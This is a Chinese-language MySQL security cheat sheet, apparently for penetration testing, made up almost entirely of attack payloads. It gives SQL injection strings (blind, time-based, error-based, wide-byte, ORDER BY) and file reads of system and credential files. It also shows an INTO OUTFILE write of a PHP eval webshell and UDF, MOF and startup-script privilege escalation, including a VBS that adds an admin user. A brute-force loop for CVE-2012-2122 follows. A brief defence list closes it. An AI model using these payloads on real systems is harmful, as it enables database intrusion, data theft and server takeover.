MySql安全总结
字数 1014 2025-08-26 22:11:57
MySQL安全攻防全面指南
一、MySQL基础与系统信息获取
1.1 核心系统数据库
information_schema是MySQL自带的系统数据库,包含:
information_schema.tables:存储所有表名信息table_schema:数据库名table_name:表名
information_schema.columns:存储所有列名信息table_name:所属表名
1.2 关键系统函数
version() -- MySQL版本
user() -- 数据库用户名
database() -- 当前数据库名
@@datadir -- 数据库路径
@@basedir -- 安装路径
@@version_compile_os -- 操作系统版本
1.3 字符串处理函数
concat(str1,str2,...) -- 直接拼接
concat_ws(separator,str1,str2,...) -- 带分隔符拼接
group_concat(str1,str2,...) -- 用逗号间隔拼接
mid(column_name,start[,length]) -- 截取字符串
substr(string,start,length) -- 同substring()
left(string,n) -- 获取左侧n个字符
二、SQL注入技术详解
2.1 盲注技术
2.1.1 布尔盲注
select left(database(),1)>'a'; -- 比较第一个字符
select substr(database(),1,1)=char(115); -- 使用ASCII值比较
select * from users where id=1 and 1=(user() regexp '^r'); -- 正则匹配
2.1.2 时间盲注
select if(ascii(substr(database(),1,1))>115,0,sleep(5));
select benchmark(1000000,md5(0x41)); -- 替代sleep
2.1.3 报错注入
Floor报错注入
select count(*),concat(database(),floor(rand(0)*2))x from users group by x;
原理:利用group by时rand()值不一致导致的主键冲突
Extractvalue报错
and extractvalue(null,concat(0x7e,(select @@datadir),0x7e));
Updatexml报错
updatexml(1,concat(0x7e,database()),0)
2.2 特殊场景注入
2.2.1 宽字节注入
利用GBK编码特性绕过转义:
%df%27 → 運'
2.2.2 堆叠注入
利用分号执行多条语句:
select * from users; select now();
2.2.3 Order by后注入
-- 报错注入
/?sort=(select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()*2)))
-- 延时注入
/?sort=1 and If(ascii(substr(database(),1,1))=116,0,sleep(5))
三、文件操作与提权技术
3.1 文件读取
条件:
- 有文件读取权限
- 知道文件完整路径
- 文件小于max_allowed_packet
select load_file('c:/boot.ini');
select load_file(char(99,58,47,98,111,111,116,46,105,110,105));
select load_file(0x633a2f626f6f742e696e69);
3.2 文件写入
-- 写入PHP shell
select '<?php @eval($_post["mima"])?>' into outfile "c:\\www\\shell.php";
-- 修改文件尾
select version() into outfile "D:\\phpinfo.php" lines terminated by 0x3c3f70687020706870696e666f28293b3f3e;
3.3 UDF提权
步骤:
-
上传DLL到插件目录
- MySQL < 5.1: c:\windows或system32
- MySQL ≥ 5.1: MySQL\lib\plugin
-
使用NTFS ADS创建目录:
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\lib::$INDEX_ALLOCATION';
- 创建函数:
create function sys_eval returns string soname 'udf.dll';
select sys_eval('whoami');
3.4 MOF提权
条件:
- Windows 2003及以下
- MySQL有读写c:/windows/system32/wbem/mof权限
select load_file('D:/1.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';
3.5 启动项提权
create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"") ");
insert into a values ("a=wshshell.run (""cmd.exe /c net user hacker Pass123 /add"",0) ");
select * from a into outfile "C:\\启动\\a.vbs";
四、历史漏洞利用
4.1 CVE-2012-2122认证绕过
影响版本:
- MySQL 5.1.63之前, 5.5.24之前, 5.6.6之前
利用方式:
for i in `seq 1 1000`; do mysql -uroot -pwrong -h target-ip; done
4.2 CVE-2016-6662
利用条件:
- MySQL ≤ 5.5.51/5.6.32/5.7.14
利用方式:
通过修改配置文件获取root权限
五、防御措施
- 最小权限原则,限制MySQL账户权限
- 禁用
load_file和into outfile功能 - 设置
secure-file-priv为NULL - 及时更新MySQL版本
- 过滤特殊字符,使用预编译语句
- 限制错误信息输出
六、常用路径参考
Windows重要文件路径:
c:/windows/php.ini
c:/windows/my.ini
c:/mysql/data/mysql/user.MYD
c:/windows/system32/inetsrv/MetaBase.xml
Linux重要文件路径:
/etc/my.cnf
/usr/local/apache2/conf/httpd.conf
/etc/httpd/conf/httpd.conf
/usr/local/app/php5/lib/php.ini